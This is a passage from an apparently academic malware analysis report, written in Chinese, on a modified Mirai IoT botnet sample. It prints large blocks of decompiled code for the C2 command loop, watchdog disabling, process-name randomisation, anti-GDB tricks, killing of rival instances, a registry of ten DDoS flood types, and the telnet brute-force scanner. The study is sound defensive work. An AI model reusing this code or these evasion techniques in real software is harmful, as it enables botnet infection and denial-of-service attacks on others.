1ed34:  eb0001a2  bl  1f3c4 <teardown_connection>
...
1f0b0:  eb0000c3  bl  1f3c4 <teardown_connection>
...
1f178:  ebffc533  bl  1064c <attack_parse>
...

```

并观察反编译结果：

```

int main(int argc,char **args)

{
    BOOL BVar1;
    uint16_t uVar2;
    int iVar3;
    __pid_t _Var4;
    uint32_t uVar5;
    int *piVar6;
    int iVar7;
    char *buf;
    char **args_local;
    int argc_local;
    uint8_t id_len;
    int tbl_exec_succ_len;
    int err;
    uint16_t len;
    undefined2 uStack_616;
    int pings;
    int mfd;
    uint __i;
    uint __i_1;
    int n;
    int pgid;
    char *tbl_exec_succ;
    fd_set *__arr;
    fd_set *__arr_1;
    int nfds;
    timeval timeo;

```

```

sockaddr_in cli_addr;
sigset_t sigs;
fd_set fdsetrd;
fd_set fdsetwr;
char name_buf [32];
char id_buf [32];
char rdbuf [1024];

pgid = getpid();
pings = 0;
unlink(*args);
sigemptyset((sigset_t *)&sigs);
sigaddset((sigset_t *)&sigs, 2);
sigprocmask(0, (sigset_t *)&sigs, (sigset_t *)0x0);
signal(0x11, (__sighandler_t)0x1);
signal(5, anti_gdb_entry);
table_init();
BVar1 = lab_opaque_guard((uint32_t)args);
if (BVar1 == '\0') {
    lab_decoy_table_touch('\x06', '\v');
}
else {
    lab_probe_watchdog();
}
chdir("/");
LOCAL_ADDR = util_local_addr();
srv_addr.sin_family = 2;
srv_addr.sin_addr.s_addr = htonl(0x41deca35);
srv_addr.sin_port = htons(0x50);
BVar1 = lab_opaque_guard(0x1fd34);
if (BVar1 == '\0') {
    lab_decoy_table_touch('\x03', '\x02');
}
else {
    BVar1 = unlock_tbl_if_nodebug(*args);
    if (BVar1 != '\0') {
        raise(5);
    }
}
BVar1 = lab_opaque_guard(0xaf278);
if (BVar1 == '\0') {
    lab_decoy_table_touch('\x18', '\x19');
}
else {
    ensure_single_instance();
}
rand_init();
util_zero(id_buf, 0x20);
if ((argc == 2) && (iVar3 = util_strlen(args[1]), iVar3 < 0x20)) {
    util_strcpy(id_buf, args[1]);
    buf = args[1];
    iVar3 = util_strlen(args[1]);
    util_zero(buf, iVar3);
}

```

```

}
lab_rotate_process_identity(args,name_buf,0x20,'\x01');
lab_rotate_process_identity((char **)0x0,name_buf,0x20,'\0');
table_unlock_val('\x02');
tbl_exec_succ = table_retrieve_val(2,&tbl_exec_succ_len);
write(1,tbl_exec_succ,tbl_exec_succ_len);
write(1,&DAT_000857ec,1);
table_lock_val('\x02');
_var4 = fork();
if (0 < _var4) {
    return 0;
}
pgid = setsid();
close(0);
close(1);
close(2);
lab_spawn_decoy_child();
attack_init();
killer_init();
lab_rotate_process_identity((char **)0x0,name_buf,0x20,'\0');
scanner_init();
lab_rotate_process_identity((char **)0x0,name_buf,0x20,'\0');
LAB_0001e948:
do {
    do {
        while( true ) {
            do {
                __arr = &fdsetrd;
                for (__i = 0; __i < 0x20; __i = __i + 1) {
                    __arr->fds_bits[__i] = 0;
                }
                __arr_1 = &fdsetwr;
                for (__i_1 = 0; __i_1 < 0x20; __i_1 = __i_1 + 1) {
                    __arr_1->fds_bits[__i_1] = 0;
                }
                if (fd_ctrl != -1) {
                    iVar3 = fd_ctrl + 0x1f;
                    if (-1 < fd_ctrl) {
                        iVar3 = fd_ctrl;
                    }
                    fdsetrd.fds_bits[iVar3 >> 5] = fdsetrd.fds_bits[iVar3 >> 5] | 1 << (fd_ctrl &
0x1fu);
                }
                if (fd_serv == -1) {
                    establish_connection();
                }
                if (pending_connection == '\0') {
                    iVar3 = fd_serv + 0x1f;
                    if (-1 < fd_serv) {
                        iVar3 = fd_serv;
                    }
                    fdsetrd.fds_bits[iVar3 >> 5] = fdsetrd.fds_bits[iVar3 >> 5] | 1 << (fd_serv &
0x1fu);

```

```

    }
    else {
        iVar3 = fd_serv + 0x1f;
        if (-1 < fd_serv) {
            iVar3 = fd_serv;
        }
        fdsetwr.fds_bits[iVar3 >> 5] = fdsetwr.fds_bits[iVar3 >> 5] | 1 << (fd_serv &
0x1fu);
    }
    if (fd_serv < fd_ctrl) {
        mfd = fd_ctrl;
    }
    else {
        mfd = fd_serv;
    }
    timeo.tv_usec = 0;
    timeo.tv_sec = 10;
    nfds = select(mfd + 1, (fd_set *)&fdsetrd, (fd_set *)&fdsetwr, (fd_set *)0x0,
        (timeval *)&timeo);
} while (nfds == -1);
if (nfds == 0) {
    _len = _len & 0xffff0000;
    iVar7 = pings + 1;
    iVar3 = pings % 6;
    pings = iVar7;
    if (iVar3 == 0) {
        send(fd_serv, &len, 2, 0x4000);
    }
}
if (fd_ctrl != -1) {
    iVar3 = fd_ctrl + 0x1f;
    if (-1 < fd_ctrl) {
        iVar3 = fd_ctrl;
    }
    if ((fdsetrd.fds_bits[iVar3 >> 5] & 1 << (fd_ctrl & 0x1fu)) != 0) {
        _len = 0x10;
        accept(fd_ctrl, (sockaddr *)&cli_addr, (socklen_t *)&len);
        scanner_kill();
        killer_kill();
        attack_kill_all();
        kill(-pgid, 9);
        /* WARNING: Subroutine does not return */
        exit(0);
    }
}
if (pending_connection == '\0') break;
pending_connection = '\0';
iVar3 = fd_serv + 0x1f;
if (-1 < fd_serv) {
    iVar3 = fd_serv;
}
if ((fdsetwr.fds_bits[iVar3 >> 5] & 1 << (fd_serv & 0x1fu)) == 0) {
    teardown_connection();
}

```



```

    }
    else {
        err = 0;
        _len = 4;
        getsockopt(fd_serv, 1, 4, &err, (socklen_t *)&len);
        if (err == 0) {
            iVar3 = util_strlen(id_buf);
            id_len = (uint8_t) iVar3;
            LOCAL_ADDR = util_local_addr();
            send(fd_serv, &DAT_000857f0, 4, 0x4000);
            send(fd_serv, &id_len, 1, 0x4000);
            if (id_len != '\0') {
                send(fd_serv, id_buf, (uint) id_len, 0x4000);
            }
        }
        else {
            close(fd_serv);
            fd_serv = -1;
            uVar5 = rand_next();
            sleep(uVar5 % 10 + 1);
        }
    }
}
}
while (fd_serv == -1);
iVar3 = fd_serv + 0x1f;
if (-1 < fd_serv) {
    iVar3 = fd_serv;
}
while ((fdsetrd.fds_bits[iVar3 >> 5] & 1 << (fd_serv & 0x1fu)) == 0);
piVar6 = __errno_location();
*piVar6 = 0;
n = recv(fd_serv, &len, 2, 0x4002);
if (n == -1) goto code_r0x0001ef18;
goto LAB_0001ef5c;
code_r0x0001ef18:
piVar6 = __errno_location();
if (((*piVar6 != 0xb) && (piVar6 = __errno_location(), *piVar6 != 0xb)) &&
    (piVar6 = __errno_location(), *piVar6 != 4)) {
    n = 0;
}
LAB_0001ef5c:
if (n == 0) {
    teardown_connection();
    goto LAB_0001e948;
}
if (len != 0) {
    uVar2 = htons(len);
    _len = CONCAT22(uStack_616, uVar2);
    if (0x400 < uVar2) {
        close(fd_serv);
        fd_serv = -1;
    }
    piVar6 = __errno_location();
    *piVar6 = 0;
}

```

```

n = recv(fd_serv, rdbuf, _len & 0xffff, 0x4002);
if (n == -1) {
    pivar6 = __errno_location();
    if (((*pivar6 == 0xb) || (pivar6 = __errno_location(), *pivar6 == 0xb)) ||
        (pivar6 = __errno_location(), *pivar6 == 4)) goto LAB_0001e948;
    n = 0;
}
if (n == 0) {
    teardown_connection();
}
else {
    recv(fd_serv, &len, 2, 0x4000);
    uvar2 = htons(len);
    _len = CONCAT22(uStack_616, uvar2);
    recv(fd_serv, rdbuf, (uint)uvar2, 0x4000);
    if (len != 0) {
        attack_parse(rdbuf, _len & 0xffff);
    }
}
goto LAB_0001e948;
}
recv(fd_serv, &len, 2, 0x4000);
}
goto LAB_0001e948;
}
}

```

执行顺序小结:

__unlink (自删除) → 安装信号处理器 (含 SIGTRAP → anti_gdb_entry) →

```

pgid = getpid();
pings = 0;
unlink(*args);
sigemptyset((sigset_t *)&sigs);
sigaddset((sigset_t *)&sigs, 2);
sigprocmask(0, (sigset_t *)&sigs, (sigset_t *)0x0);
signal(0x11, (__sighandler_t)0x1);
signal(5, anti_gdb_entry);

```

table_init (解混淆配置) →
 signal(5, anti_gdb_entry);
 table init();

lab_probe_watchdog (关 watchdog) →
 BVar1 = lab_opaque_guard((uint32_t)args);
 if (BVar1 == '\0') {
 lab_decoy_table_touch('\x06', '\v');
 }
 else {
 lab_probe_watchdog();
 }
 ...

chdir("/") → unlock_tbl_if_nodebug + raise(SIGTRAP) (反调试) →

```

}
chdir("/");
LOCAL_ADDR = util_local_addr();
srv_addr.sin_family = 2;
srv_addr.sin_addr.s_addr = htonl(0x41deca35);
srv_addr.sin_port = htons(0x50);
BVar1 = lab_opaque_guard(0x1fd34);
if (BVar1 == '\0') {
    lab_decoy_table_touch('\x03', '\x02');
}
else {
    BVar1 = unlock_tbl_if_nodebug(*args);
    if (BVar1 != '\0') {
        raise(5);
    }
}
BVar1 = lab_opaque_guard(0xaf278);
if (BVar1 == '\0') {
    lab_decoy_table_touch('\x18', '\x19');
}
else {

```

`ensure_single_instance` (杀其它 Mirai) →

```

bvar1 = lab_opaque_guard(0x1270);
if (BVar1 == '\0') {
    lab_decoy_table_touch('\x18', '\x19');
}
else {
    ensure_single_instance();
}
rand_init();

```

rand_init → lab_rotate_process_identity (改进程名) →

```
rand_init();
util_zero(id_buf, 0x20);
if ((argc == 2) && (iVar3 = util_strlen(args[1]), iVar3 < 0x20)) {
    util_strcpy(id_buf, args[1]);
    buf = args[1];
    iVar3 = util_strlen(args[1]);
    util_zero(buf, iVar3);
}
lab_rotate_process_identity(args, name_buf, 0x20, '\x01');
lab_rotate_process_identity((char **)0x0, name_buf, 0x20, '\x0');
```

`fork+setsid` (守护化) →

```
table_unlock_val('\x02');
tbl_exec_succ = table_retrieve_val(2,&tbl_exec_succ_len);
write(1,tbl_exec_succ,tbl_exec_succ_len);
write(1,&DAT_000857ec,1);
table_lock_val('\x02');
_Var4 = fork();
if (0 < _Var4) {
    return 0;
}
pgid = setsid();
close(0);
```

attack_init / killer_init / scanner_init (初始化三大模块) →

```
attack_init();
killer_init();
lab_rotate_process_identity((char **)0x0, name_buf, 0x20, '\0');
scanner_init();
```

```

establish_connection (连 CNC 10.0.0.1:40447) →
}
if (fd_serv == -1) {
    establish_connection();
}
if (pending_connection == '\0') {

```

进入 select/recv/attack_parse 主循环接收并执行 CNC 指令。

```

}
else {
    recv(fd_serv, &len, 2, 0x4000);
    uVar2 = htons(len);
    _len = CONCAT22(uStack_616, uVar2);
    recv(fd_serv, rdbuf, (uint)uVar2, 0x4000);
    if (len != 0) {
        attack_parse(rdbuf, _len & 0xffff);
    }
}
goto LAB_0001e948;
}

```

3.2 自我保护相关代码

(a) 关闭 watchdog —— lab_probe_watchdog (0x1f634)

```

4
5 void lab_probe_watchdog(void)
6
7 {
8     int one;
9     int i;
10    int fd;
11    stat st;
12    char watchdog_path [32];
13    char link_target [64];
14
15    i = 0;
16    while( true ) {
17        if (3 < (uint)i) {
18            return;
19        }
20        one = 1;
21        util_zero(watchdog_path, 0x20);
22        util_zero(link_target, 0x40);
23        lab_copy_table_value("4567" [i], watchdog_path, 0x20);
24        access(watchdog_path, 0);
25        stat(watchdog_path, (stat *)&st);
26        readlink(watchdog_path, link_target, 0x3f);
27        fd = open(watchdog_path, 2);
28        if (fd != -1) break;
29        i = i + 1;
30        fd = -1;
31    }
32    ioctl(fd, 0x80045704, &one);
33    close(fd);
34    return;
35 }
36

```

循环遍历 4 个候选 watchdog 设备路径，逐个 open(path, O_RDWR)，成功后调用 ioctl(fd, 0x80045704)

(WDIOS_DISABLECARD/SETOPTIONS) 关闭硬件看门狗，防止设备被感染后自动重启，保证持久驻留。0x80045704 常量明确出现在 0x1f768。

(b) 修改进程名 —— lab_rotate_process_identity (0x1f76c)

```

1
2 void lab_rotate_process_identity(char **args, char *name_buf, int name_buf_size, BOOL rewrite_argv)
3
4 {
5     uint32_t uVar1;
6     BOOL rewrite_argv_local;
7     int name_buf_size_local;
8     char *name_buf_local;
9     char **args_local;
10    int name_len;
11
12    uVar1 = rand_next();
13    name_len = (uVar1 % 6 + 3) * 4;
14    if (name_buf_size <= name_len) {
15        name_len = name_buf_size + -1;
16    }
17    rand_alphastr((uint8_t *)name_buf, name_len);
18    name_buf[name_len] = '\0';
19    if ((rewrite_argv != '\0') && (args != (char **)0x0)) {
20        util_strcpy(*args, name_buf);
21    }
22    prctl(0xf, name_buf);
23    return;
24 }

```

先用随机数生成随机长度的字母数字串，然后 `prctl(PR_SET_NAME=15, buf)` 修改内核线程名，并覆写 `argv[0]` 修改 `/proc/<pid>/cmdline`。实测 (Task1.1) 中 bot 连接的进程名显示为随机串 `csqhq2oti1luq11`，正是此逻辑的运行结果，使其在 `ps/top/proc` 中难以按固定名查杀。

(c) GDB 反调试 —— `anti_gdb_entry (0x1f1e4) + SIGTRAP`

```

1
2 void anti_gdb_entry(int sig)
3
4 {
5     int sig_local;
6
7     resolve_func = resolve_cnc_addr;
8     return;
9 }

```

main 安装 SIGTRAP 处理器为 `anti_gdb_entry`，随后主动 `raise(SIGTRAP)`。`anti_gdb_entry` 把全局指针 `resolve_func (0xaf280)` 设为真正的 `resolve_cnc_addr (0x1f218)`：

```

1f1f4: ldr r3,[pc] @ r3 = 0xaf280 (resolve_func)
1f1f8: ldr r2,[pc] @ r2 = 0x1f218 (resolve_cnc_addr)
1f1fc: str r2,[r3] @ resolve_func = resolve_cnc_addr

```

- **无调试器：** `SIGTRAP` 被自带处理器捕获 → `resolve_func` 被正确赋值 → 后续能解析并连接真 CNC；
- **被 GDB 附加：** `SIGTRAP` 被调试器拦截，处理器不执行 → `resolve_func` 保持为空 → 连接路径失效。

这是一种“借 SIGTRAP 被谁捕获”来判断是否被调试的经典反调试技巧。我在动态调试时正是被它卡住（patch 后才走通真 CNC 路径）。

(d) 杀死其它 Mirai 进程 —— `ensure_single_instance (0x1f40c)`

```

4
5 void ensure_single_instance(void)
6
7 {
8     uint16_t port;
9     uint uVar1;
10    int *piVar2;
11    int iVar3;
12    int opt;
13    sockaddr_in addr;
14
15    opt = 1;
16    fd_ctrl = socket(2,1,0);
17    if (fd_ctrl != -1) {
18        setsockopt(fd_ctrl,1,2,&opt,4);
19        iVar3 = fd_ctrl;
20        uVar1 = fcntl(fd_ctrl,3,0);
21        fcntl(iVar3,4,uVar1 | 0x800);
22        addr.sin_family = 2;
23        addr.sin_addr.s_addr = LOCAL_ADDR;
24        if (ensure_single_instance::local_bind != '\0') {
25            addr.sin_addr.s_addr = htonl(0x7f000001);
26        }
27        addr.sin_port = htons(0xbbe5);
28        lab_probe_single_instance_port(addr.sin_addr.s_addr);
29        piVar2 = __errno_location();
30        *piVar2 = 0;
31        iVar3 = bind(fd_ctrl,(sockaddr *)&addr,0x10);
32        if (iVar3 == -1) {
33            piVar2 = __errno_location();
34            if ((*piVar2 == 99) && (ensure_single_instance::local_bind !=
35                ensure_single_instance::local_bind = '\0';
36            }
37            addr.sin_family = 2;
38            addr.sin_addr.s_addr = 0;
39            addr.sin_port = htons(0xbbe5);
40            connect(fd_ctrl,(sockaddr *)&addr,0x10);
41            sleep(5);
42            close(fd_ctrl);
43            port = htons(0xbbe5);
44            killer_kill_by_port(port);
45            ensure_single_instance();
46        }
47        else {
48            listen(fd_ctrl,1);
49        }
50    }
51    return;
52}

```

通过在 127.0.0.1:48101（常量 0x7f000001 / 0xbbe5）上 bind+listen 抢占"单实例"控制端口：

- 若 bind 成功，自己即唯一实例；
- 若 bind 失败（EADDRINUSE），说明已有旧 Mirai 在运行，于是 connect 过去并调用 killer_kill_by_port、scanner_kill、attack_kill_all、kill(-pgid, SIGKILL) 杀掉旧实例及其整个进程组，再递归重试抢占端口。

这样保证同一设备上同一时刻只有一个 Mirai，独占资源。

3.3 攻击模块初始化函数与支持的攻击方式

攻击模块初始化函数为 attack_init（0x1055c）。它循环 10 次（cmp r3,#9; b1s），从表 0x8556c（步长 8 字节，[id, handler]）取出攻击 ID 与处理函数，逐个调用 add_attack(id, handler) 注册。直接解析该表得到 10 个攻击向量：

```

3
4 300L attack_init(void)
5
6 {
7     int i;
8
9     for (i = 0; (uint)i < 10; i = i + 1) {
10         add_attack(lab_attack_registry[i].vector, lab_attack_registry[i].func);
11     }
12     return '\x01';
13 }

1 void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
2
3
4 {
5     attack_method *paVar1;
6     uint uVar2;
7     ATTACK_FUNC func_local;
8     ATTACK_VECTOR vector_local;
9     attack_method *method;
10
11     paVar1 = (attack_method *)calloc(1, 8);
12     paVar1->vector = vector;
13     paVar1->func = func;
14     methods = (attack_method **)realloc(methods, (methods_len + 1) * 4);
15     uVar2 = (uint)methods_len;
16     methods_len = methods_len + '\x01';
17     methods[uVar2] = paVar1;
18     return;
19 }
20

```

ID	处理函数	攻击类型
0	attack_udp_generic	UDP 通用泛洪（可定制 IP 头/负载）
9	attack_udp_plain	UDP 纯净高速泛洪
1	attack_udp_vse	Valve Source Engine 查询泛洪
2	attack_udp_dns	DNS Water-Torture（随机子域）泛洪
3	attack_tcp_syn	TCP SYN 泛洪
4	attack_tcp_ack	TCP ACK 泛洪
5	attack_tcp_stomp	TCP STOMP（伪造已建连）泛洪
6	attack_gre_ip	GRE IP 封装泛洪
7	attack_gre_eth	GRE Ethernet 封装泛洪
10	attack_app_http	HTTP 应用层泛洪

小结：共支持 UDP / TCP / GRE / HTTP 四大类、10 种 DDoS 攻击向量。Task1.2 中 `udp` 指令触发的正是 ID 0 的 `attack_udp_generic`。

3.4 scanner 模块的弱口令组合

scanner 初始化函数 `scanner_init` (0x21170) 循环调用 `add_auth_entry(user, pass, weight)` 装载弱口令字典。字典字符串以 `XOR 0x22` 混淆存储，运行时解混淆为明文。静态解出的 9 组凭据如下：

```
void scanner_init(void)

{
    uint16_t __netshort;
    uint16_t uVar1;
    uint16_t uVar2;
    uint16_t uVar3;
    int iVar4;
    uint uVar5;
    uint32_t uVar6;
    ipv4_t iVar7;
    int *piVar8;
    uint32_t uVar9;
    scanner_auth *psVar10;
    int iVar11;
    uint16_t source_port;
    int i;
    int err;
    socklen_t err_len;
    int last_avail_conn;
    int last_spew;
    int mfd_rd;
    int mfd_wr;
    int n;
    scanner_connection *conn_1;
    uint __i;
    uint __i_1;
    int ret_1;
    int consumed;
    iphdr *iph;
    tcphdr *tcph;
    iphdr *iph_1;
    tcphdr *tcph_1;
    iphdr *iph_2;
    tcphdr *tcph_2;
    fd_set *__arr;
    fd_set *__arr_1;
    int nfds;
    scanner_connection *conn;
    int ret;
    char *tmp_str_4;
    char *tmp_str_3;
    char *tmp_str_2;
    char *tmp_str_1;
    char *tmp_str;
    int timeout;
    timeval tim;
```



```

fd_set fdset_rd;
fd_set fdset_wr;
char dgram [1514];

scanner_pid = fork();
if ((0 < scanner_pid) || (scanner_pid == -1)) {
    return;
}
LOCAL_ADDR = util_local_addr();
rand_init();
fake_time = time((time_t *)0x0);
conn_table = (scanner_connection *)calloc(0x80,0x120);
for (i = 0; i < 0x80; i = i + 1) {
    conn_table[i].state = IPPROTO_IP;
    conn_table[i].fd = -1;
}
ivar4 = socket(2,3,6);
rsck = ivar4;
if (ivar4 == -1) {
    /* WARNING: Subroutine does not return */
    exit(0);
}
uvar5 = fcntl(ivar4,3,0);
fcntl(ivar4,4,uvar5 | 0x800);
i = 1;
ivar4 = setsockopt(rsck,0,3,&i,4);
if (ivar4 != 0) {
    close(rsck);
    /* WARNING: Subroutine does not return */
    exit(0);
}
do {
    uvar6 = rand_next();
    __netshort = (uint16_t)uvar6;
    uvar1 = htons(__netshort);
} while (uvar1 < 0x400);
iph = (iphdr *)scanner_rawpkt;
tcph = (tcphdr *) (scanner_rawpkt + 0x14);
scanner_rawpkt[0] = 'E';
uvar1 = htons(0x28);
iph->tot_len = uvar1;
uvar6 = rand_next();
iph->id = (__be16)uvar6;
iph->ttl = '@';
iph->protocol = '\x06';
uvar1 = htons(0x17);
tcph->dest = uvar1;
tcph->source = __netshort;
tcph->field_0xc = tcph->field_0xc & 0x5f | 0x50;
uvar6 = rand_next();
tcph->window = (__be16)uvar6;
tcph->field_0xd = tcph->field_0xd | 2;
for (i = 0; (uint)i < 9; i = i + 1) {

```

```

        add_auth_entry(LAB_SCAN_AUTH_TABLE[i].enc_user, LAB_SCAN_AUTH_TABLE[i].enc_pass,
                        LAB_SCAN_AUTH_TABLE[i].weight);
    }
LAB_00021500:
    mfd_rd = 0;
    mfd_wr = 0;
    if (fake_time != last_spew) {
        last_spew = fake_time;
        for (i = 0; i < 0xa0; i = i + 1) {
            fdset_wr.fds_bits[0] = 0;
            fdset_wr.fds_bits[1] = 0;
            fdset_wr.fds_bits[2] = 0;
            fdset_wr.fds_bits[3] = 0;
            iph_1 = (iphdr *)scanner_rawpkt;
            tcph_1 = (tcphdr *) (scanner_rawpkt + 0x14);
            uvar6 = rand_next();
            iph_1->id = (__be16)uvar6;
            iph_1->saddr = LOCAL_ADDR;
            ivar7 = get_random_ip();
            iph_1->daddr = ivar7;
            iph_1->check = 0;
            uvar2 = checksum_generic((uint16_t *)iph_1, 0x14);
            iph_1->check = uvar2;
            if (i % 10 == 0) {
                uvar1 = htons(0x913);
                tcph_1->dest = uvar1;
            }
            else {
                uvar1 = htons(0x17);
                tcph_1->dest = uvar1;
            }
            tcph_1->seq = iph_1->daddr;
            tcph_1->check = 0;
            uvar1 = htons(0x14);
            uvar2 = checksum_tcpudp(iph_1, tcph_1, uvar1, 0x14);
            tcph_1->check = uvar2;
            fdset_wr.fds_bits[1] = iph_1->daddr;
            fdset_wr.fds_bits[0] = CONCAT22(tcph_1->dest, 2);
            sendto(rsck, scanner_rawpkt, 0x28, 0x4000, (sockaddr *)&fdset_wr, 0x10);
        }
    }
    last_avail_conn = 0;
    do {
        do {
            do {
                iph_2 = (iphdr *)dgram;
                tcph_2 = (tcphdr *) (dgram + 0x14);
                pivar8 = __errno_location();
                *pivar8 = 0;
                n = recvfrom(rsck, dgram, 0x5ea, 0x4000, (sockaddr *)0x0, (socklen_t *)0x0);
                if (((n < 1) || (pivar8 = __errno_location(), *pivar8 == 0xb)) ||
                    (pivar8 = __errno_location(), *pivar8 == 0xb)) goto LAB_00021970;
            } while (((((uint)n < 0x28) || (iph_2->daddr != LOCAL_ADDR)) ||

```

```

        ((iph_2->protocol != '\x06' ||
        ((uVar1 = tcph_2->source, uVar3 = htons(0x17), uVar1 != uVar3 &&
        (uVar1 = tcph_2->source, uVar3 = htons(0x913), uVar1 != uVar3)))))) ||
        (__netshort != tcph_2->dest)) ||
        (((((tcph_2->field_0xd & 2) == 0 || ((tcph_2->field_0xd & 0x10) == 0)) ||
        ((tcph_2->field_0xd & 4) != 0)) || ((tcph_2->field_0xd & 1) != 0)))));
    uVar9 = htonl(tcph_2->ack_seq);
    uVar9 = htonl(uVar9 - 1);
} while (uVar9 != iph_2->saddr);
conn_1 = (scanner_connection *)0x0;
for (n = last_avail_conn; n < 0x80; n = n + 1) {
    if (conn_table[n].state == IPPROTO_IP) {
        conn_1 = conn_table + n;
        last_avail_conn = n;
        break;
    }
}
if (conn_1 == (scanner_connection *)0x0) break;
conn_1->dst_addr = iph_2->saddr;
conn_1->dst_port = tcph_2->source;
setup_connection(conn_1);
} while( true );
LAB_00021970:
__arr = &fdset_rd;
for (__i = 0; __i < 0x20; __i = __i + 1) {
    __arr->fds_bits[__i] = 0;
}
__arr_1 = &fdset_wr;
for (__i_1 = 0; __i_1 < 0x20; __i_1 = __i_1 + 1) {
    __arr_1->fds_bits[__i_1] = 0;
}
for (i = 0; i < 0x80; i = i + 1) {
    conn = conn_table + i;
    if (conn->state < IPPROTO_IGMP) {
        timeout = 5;
    }
    else {
        timeout = 0x1e;
    }
    if ((conn->state == IPPROTO_IP) || (fake_time - conn->last_recv <= (uint)timeout)) {
        if (conn->state == IPPROTO_ICMP) {
            iVar11 = conn->fd;
            iVar4 = iVar11 + 0x1f;
            if (-1 < iVar11) {
                iVar4 = iVar11;
            }
            fdset_wr.fds_bits[iVar4 >> 5] = fdset_wr.fds_bits[iVar4 >> 5] | 1 << (conn->fd &
0x1fu);
            if (mfd_wr < conn->fd) {
                mfd_wr = conn->fd;
            }
        }
        else if (conn->state != IPPROTO_IP) {

```

```

        iVar11 = conn->fd;
        iVar4 = iVar11 + 0x1f;
        if (-1 < iVar11) {
            iVar4 = iVar11;
        }
        fdset_rd.fds_bits[iVar4 >> 5] = fdset_rd.fds_bits[iVar4 >> 5] | 1 << (conn->fd &
0x1fu);
        if (mfd_rd < conn->fd) {
            mfd_rd = conn->fd;
        }
    }
}
else {
    close(conn->fd);
    conn->fd = -1;
    if (conn->state < SC_WAITING_USERNAME) {
        conn->tries = '\0';
        conn->state = IPPROTO_IP;
    }
    else {
        conn->tries = conn->tries + '\x01';
        if (conn->tries == '\n') {
            conn->tries = '\0';
            conn->state = IPPROTO_IP;
        }
        else {
            setup_connection(conn);
        }
    }
}
}
}
tim.tv_usec = 0;
tim.tv_sec = 1;
iVar4 = mfd_rd;
if (mfd_rd < mfd_wr) {
    iVar4 = mfd_wr;
}
nfds = select(iVar4 + 1, (fd_set *)&fdset_rd, (fd_set *)&fdset_wr, (fd_set *)0x0, (timeval
*)&tim);
fake_time = time((time_t *)0x0);
for (i = 0; i < 0x80; i = i + 1) {
    conn = conn_table + i;
    if (conn->fd != -1) {
        iVar11 = conn->fd;
        iVar4 = iVar11 + 0x1f;
        if (-1 < iVar11) {
            iVar4 = iVar11;
        }
        if ((fdset_wr.fds_bits[iVar4 >> 5] & 1 << (conn->fd & 0x1fu)) != 0) {
            err = 0;
            ret = 0;
            err_len = 4;
            ret = getsockopt(conn->fd, 1, 4, &err, &err_len);

```

```

if ((err != 0) || (ret != 0)) {
    close(conn->fd);
    conn->fd = -1;
    conn->tries = '\0';
    conn->state = IPPROTO_IP;
    goto LAB_000225fc;
}
conn->state = IPPROTO_IGMP;
psVar10 = random_auth_entry();
conn->auth = psVar10;
conn->rdbuf_pos = 0;
}
iVar11 = conn->fd;
iVar4 = iVar11 + 0x1f;
if (-1 < iVar11) {
    iVar4 = iVar11;
}
if ((fdset_rd.fds_bits[iVar4 >> 5] & 1 << (conn->fd & 0x1fu)) != 0) {
    while (conn->state != IPPROTO_IP) {
        if (conn->rdbuf_pos == 0x100) {
            memmove(conn->rdbuf, conn->rdbuf + 0x40, 0xc0);
            conn->rdbuf_pos = conn->rdbuf_pos + -0x40;
        }
        piVar8 = __errno_location();
        *piVar8 = 0;
        ret_1 = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, 0x100 - conn-
>rdbuf_pos,
                                0x4000);

        if (ret_1 == 0) {
            piVar8 = __errno_location();
            *piVar8 = 0x68;
            ret_1 = -1;
        }
        if (ret_1 == -1) {
            piVar8 = __errno_location();
            if ((*piVar8 != 0xb) && (piVar8 = __errno_location(), *piVar8 != 0xb)) {
                close(conn->fd);
                conn->fd = -1;
                conn->tries = conn->tries + '\x01';
                if (conn->tries < 10) {
                    setup_connection(conn);
                }
                else {
                    conn->tries = '\0';
                    conn->state = IPPROTO_IP;
                }
            }
            break;
        }
        conn->rdbuf_pos = conn->rdbuf_pos + ret_1;
        conn->last_recv = fake_time;
        while( true ) {
            consumed = 0;

```

```

switch(conn->state) {
case IPPROTO_IGMP:
    consumed = consume_iacs(conn);
    if (0 < consumed) {
        conn->state = SC_WAITING_USERNAME;
    }
    break;
case SC_WAITING_USERNAME:
    consumed = consume_user_prompt(conn);
    if (0 < consumed) {
        send(conn->fd, conn->auth->username, (uint)conn->auth->username_len, 0x4000);
        send(conn->fd, &DAT_00085924, 2, 0x4000);
        conn->state = IPPROTO_IPIP;
    }
    break;
case IPPROTO_IPIP:
    consumed = consume_pass_prompt(conn);
    if (0 < consumed) {
        send(conn->fd, conn->auth->password, (uint)conn->auth->password_len, 0x4000);
        send(conn->fd, &DAT_00085924, 2, 0x4000);
        conn->state = SC_WAITING_PASSWD_RESP;
    }
    break;
case SC_WAITING_PASSWD_RESP:
    consumed = consume_any_prompt(conn);
    if (0 < consumed) {
        table_unlock_val('\x15');
        tmp_str = table_retrieve_val(0x15, (int *)&err_len);
        send(conn->fd, tmp_str, err_len, 0x4000);
        send(conn->fd, &DAT_00085924, 2, 0x4000);
        table_lock_val('\x15');
        conn->state = IPPROTO_TCP;
    }
    break;
case IPPROTO_TCP:
    consumed = consume_any_prompt(conn);
    if (0 < consumed) {
        table_unlock_val('\x16');
        tmp_str_1 = table_retrieve_val(0x16, (int *)&err_len);
        send(conn->fd, tmp_str_1, err_len, 0x4000);
        send(conn->fd, &DAT_00085924, 2, 0x4000);
        table_lock_val('\x16');
        conn->state = SC_WAITING_SYSTEM_RESP;
    }
    break;
case SC_WAITING_SYSTEM_RESP:
    consumed = consume_any_prompt(conn);
    if (0 < consumed) {
        table_unlock_val('\x14');
        tmp_str_2 = table_retrieve_val(0x14, (int *)&err_len);
        send(conn->fd, tmp_str_2, err_len, 0x4000);
        send(conn->fd, &DAT_00085924, 2, 0x4000);
        table_lock_val('\x14');
    }
}

```

```

        conn->state = IPPROTO_EGP;
    }
    break;
case IPPROTO_EGP:
    consumed = consume_any_prompt(conn);
    if (0 < consumed) {
        table_unlock_val('\x17');
        tmp_str_3 = table_retrieve_val(0x17, (int *)&err_len);
        send(conn->fd, tmp_str_3, err_len, 0x4000);
        send(conn->fd, &DAT_00085924, 2, 0x4000);
        table_lock_val('\x17');
        conn->state = SC_WAITING_SH_RESP;
    }
    break;
case SC_WAITING_SH_RESP:
    consumed = consume_any_prompt(conn);
    if (0 < consumed) {
        table_unlock_val('\x18');
        tmp_str_4 = table_retrieve_val(0x18, (int *)&err_len);
        send(conn->fd, tmp_str_4, err_len, 0x4000);
        send(conn->fd, &DAT_00085924, 2, 0x4000);
        table_lock_val('\x18');
        conn->state = SC_WAITING_TOKEN_RESP;
    }
